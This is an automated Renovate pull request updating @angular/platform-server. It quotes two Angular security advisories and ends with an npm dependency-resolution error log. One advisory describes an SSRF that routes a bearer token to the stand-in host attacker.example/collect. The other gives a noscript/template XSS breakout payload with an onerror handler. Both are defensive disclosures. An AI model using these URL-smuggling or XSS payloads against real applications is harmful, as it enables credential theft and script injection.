chore(deps): update dependency @angular/platform-server to v20.3.30 [security]

[renovate]

This PR contains the following updates:

Package	Change	Age	Confidence
@angular/platform-server (source)	20.3.28 → 20.3.30

---

Angular: SSRF and Cross-Origin Credential Disclosure via URL Resolution Discrepancy in SSR

CVE-2026-88056 / GHSA-f6mr-pjwc-34m4

More information

Details

Summary

A discrepancy between WHATWG URL parsing and Angular SSR's URL resolution allows attackers to bypass same-origin checks and cause Server-Side Request Forgery (SSRF), potentially leaking sensitive server-side credentials.

Technical Description

When applications validate incoming URLs using the WHATWG URL standard (new URL(input, trustedOrigin)), Unicode whitespace characters (such as NO-BREAK SPACE U+00A0 or ZERO WIDTH NO-BREAK SPACE U+FEFF) are not stripped and are evaluated as part of a same-origin relative path (e.g. http://trusted-origin/%C2%A0//attacker.example/collect). Consequently, these URLs successfully pass application-level same-origin checks.

However, @angular/platform-server's URL resolution utility (resolveUrl / parseUrl) previously executed String.prototype.trim(). Because JavaScript's String.prototype.trim() strips all Unicode whitespace (including U+00A0), the leading non-breaking space was removed, converting the string into a cross-origin protocol-relative URL (//attacker.example/collect). When resolved during server-side rendering (such as in relativeUrlsTransformerInterceptorFn), this caused the HTTP request to be dispatched to the attacker-controlled origin (http://attacker.example/collect), leaking any credentials (such as Authorization headers) attached by the application for the intended same-origin request.

Impact & Reachability

• Reachability: The vulnerability affects Angular Server-Side Rendering (SSR) applications where user-controlled input influences resource or request URLs processed by Angular's HttpClient, an application-level same-origin check is performed before dispatching, and sensitive server-side credentials (such as API keys or Bearer tokens) are attached to approved requests.
• Impact: Successful exploitation allows attackers to bypass same-origin validation, triggering Server-Side Request Forgery (SSRF) and leaking sensitive server-side credentials attached to the request.

Proof of Concept:

// Interceptor performing same-origin validation
const trustedOrigin = new URL('http://localhost:4000/');
const target = new URL(req.urlWithParams, trustedOrigin);

if (target.origin !== trustedOrigin.origin) {
  throw new Error('Cross-origin request blocked');
}

// Request passes validation, server attaches sensitive credential:
const authenticatedReq = req.clone({
  headers: req.headers.set('Authorization', 'Bearer SERVER-SECRET-TOKEN'),
});

// @angular/platform-server previously trimmed the URL, converting it into
// //attacker.example/collect and routing the credential to the attacker.

Workarounds

• Validate and sanitize input URLs to disallow leading Unicode whitespace characters (such as \u00A0) before performing origin checks or passing them to HttpClient.
• Avoid relying solely on new URL(input, trustedOrigin).origin for authorization if the input string may be trimmed or processed by utilities that normalize whitespace differently from the WHATWG URL standard.

Severity

• CVSS Score: 8.6 / 10 (High)
• Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N

References

• https://github.com/angular/angular/security/advisories/GHSA-f6mr-pjwc-34m4
• https://github.com/angular/angular/commit/3e924cc8dbbb57f23b262cb8f0d7e2bd0673034c
• https://github.com/angular/angular/commit/5aa6d97deb9ef1de14e23748b7fa74f97d183132
• https://github.com/angular/angular/commit/71e52d1396b9cef98652929b73e08c4cde645970
• https://github.com/angular/angular/commit/9339a7a2de437ed93f9cc3da7f32d0100412d599
• https://github.com/angular/angular
• https://github.com/angular/angular/releases/tag/v20.3.30
• https://github.com/angular/angular/releases/tag/v21.2.22
• https://github.com/angular/angular/releases/tag/v22.1.4

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

---

Angular: SSR XSS via Unescaped Content Across DocumentFragment Boundaries in Fallback Raw-Content Elements

CVE-2026-88060 / GHSA-v3p8-whq6-r5jg

More information

Details

Summary

An XSS vulnerability exists in @angular/platform-server during server-side rendering (SSR) HTML serialization when traversing ancestor tags across <template> element boundaries. When an application renders untrusted user input within raw-text tags (<xmp>, <style>, <script>), comments, or text nodes inside a <template> that is nested within a fallback raw-content element (<noscript>, <iframe>, <noembed>, <noframes>), matching closing tags (e.g., </noscript>) are not escaped during HTML serialization. When rendered in a browser, this unescaped closing tag prematurely terminates the fallback container and executes trailing markup as active DOM elements.

Technical Description

In HTML5 parsing, fallback raw-content elements (<noscript>, <iframe>, <noembed>, <noframes>) place the browser's tokenizer into RAWTEXT mode. In this mode, inner content is parsed as literal text until an end tag matching the container tag name (e.g., </noscript>) is encountered.

To prevent XSS breakout vectors during SSR serialization, the DOM serializer inspects a node's ancestors to escape any matching fallback closing tags (</tag -> </tag). However:

1. Per DOM specifications, the children of a <template> element reside in a separate DocumentFragment (template.content), whose own parentNode is null.
2. The serializer's ancestor traversal previously only inspected element nodes. When traversing upward from a node inside template.content, traversal terminated immediately at the DocumentFragment boundary.
3. Because traversal stopped before reaching the outer document tree, enclosing fallback raw-content ancestors (such as <noscript> or <iframe>) were not discovered. As a result, closing sequences like </noscript> within <template> content were emitted unescaped.

Impact & Reachability

• Framework Guarantee Bypass: Angular guarantees that standard text interpolation (`` bound as element text content) is safe by default without manual sanitization. This vulnerability bypasses that guarantee during SSR HTML serialization when untrusted input is interpolated inside template content within fallback containers.
• Template Authoring: Writing literal <xmp> or <style> directly inside a component's <template> markup requires relaxed template schema checks (CUSTOM_ELEMENTS_SCHEMA or NO_ERRORS_SCHEMA). However, standard HTML comments and text nodes inside <template> within <noscript> are reachable without relaxed schemas.
• Imperative DOM Construction: Components or directives that construct DOM structures imperatively via Renderer2 bypass template compiler schema checks entirely and are unconditionally affected.

Proof of Concept (Minimal Reproduction)

import { Component } from '@angular/core';

@Component({
  selector: 'app-root',
  standalone: true,
  template: `
    <noscript>
      <template>
        <xmp></xmp>
      </template>
    </noscript>
  `
})
export class AppComponent {
  // Attacker-controlled input bound via standard text interpolation
  payload = '</noscript><img src=x onerror=alert("SSR_TEMPLATE_XSS")>';
}

Vulnerable SSR Output:

<noscript><template><xmp></noscript><img src=x onerror=alert("SSR_TEMPLATE_XSS")></xmp></template></noscript>

Workarounds

• Avoid rendering untrusted user input inside <template> elements nested within <noscript>, <iframe>, <noembed>, or <noframes> in server-rendered templates.
• Avoid programmatic DOM assembly of <template> elements inside fallback containers when handling untrusted data.

Severity

• CVSS Score: 8.6 / 10 (High)
• Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N

References

• https://github.com/angular/angular/security/advisories/GHSA-v3p8-whq6-r5jg
• https://github.com/angular/angular/commit/73d8bbd27cb46495426d4132975a1355b47ad915
• https://github.com/angular/angular/commit/89b20568dfaee1ec8e0b3bcf1872acdddd2f4fef
• https://github.com/angular/angular/commit/ba3bc47b20b3d12f5eb141ec9c651373ae4d15e8
• https://github.com/angular/domino/commit/04f987dc08ff3736b427f50941adf1722458528f
• https://github.com/angular/angular
• https://github.com/angular/angular/releases/tag/v20.3.30
• https://github.com/angular/angular/releases/tag/v21.2.22
• https://github.com/angular/angular/releases/tag/v22.1.4

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

---

Release Notes

angular/angular (@​angular/platform-server)

v20.3.30

Compare Source

platform-server

Commit	Type	Description
9339a7a2de	fix	avoid stripping unicode whitespace during url resolution
89b20568df	fix	update domino to latest version

v20.3.29

Compare Source

platform-browser

Commit	Type	Description
7538744c10	fix	disallow event handler attributes in Meta

---

Configuration

📅 Schedule: (in timezone America/Denver)

• Branch creation
  • At any time (no schedule defined)
• Automerge
  • "after 5pm and before 9pm every weekday"

🚦 Automerge: Enabled.

♻ Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.

---

• If you want to rebase/retry this PR, check this box

---

This PR was generated by Mend Renovate. View the repository job log.

[renovate]

⚠️ Artifact update problem

Renovate failed to update an artifact related to this branch. You probably do not want to merge this PR as-is.

♻ Renovate will retry this branch, including artifacts, only when one of the following happens:

• any of the package files in this branch needs updating, or
• the branch becomes conflicted, or
• you click the rebase/retry checkbox if found above, or
• you rename this PR's title to start with "rebase!" to trigger it manually

The artifact failure details are included below:

File name: package-lock.json

npm warn Unknown env config "store". This will stop working in the next major version of npm. See `npm help npmrc` for supported config options.
npm error code ERESOLVE
npm error ERESOLVE unable to resolve dependency tree
npm error
npm error While resolving: @contentful/experiences-angular@0.1.3
npm error Found: @angular/common@20.3.28
npm error node_modules/@angular/common
npm error   dev @angular/common@"20.3.28" from @contentful/experiences-angular@0.1.3
npm error   packages/adapter-angular
npm error     @contentful/experiences-angular@0.1.3
npm error     node_modules/@contentful/experiences-angular
npm error       workspace packages/adapter-angular from the root project
npm error       1 more (@contentful/experiences-example-angular)
npm error
npm error Could not resolve dependency:
npm error peer @angular/common@"20.3.30" from @angular/platform-server@20.3.30
npm error node_modules/@angular/platform-server
npm error   dev @angular/platform-server@"20.3.30" from @contentful/experiences-angular@0.1.3
npm error   packages/adapter-angular
npm error     @contentful/experiences-angular@0.1.3
npm error     node_modules/@contentful/experiences-angular
npm error       workspace packages/adapter-angular from the root project
npm error       1 more (@contentful/experiences-example-angular)
npm error
npm error Fix the upstream dependency conflict, or retry this command with --force or --legacy-peer-deps to accept an incorrect (and potentially broken) dependency resolution.
npm error
npm error
npm error For a full report see:
npm error /runner/cache/others/npm/_logs/2026-09-11T14_02_05_854Z-eresolve-report.txt
npm error A complete log of this run can be found in: /runner/cache/others/npm/_logs/2026-09-11T14_02_05_854Z-debug-0.log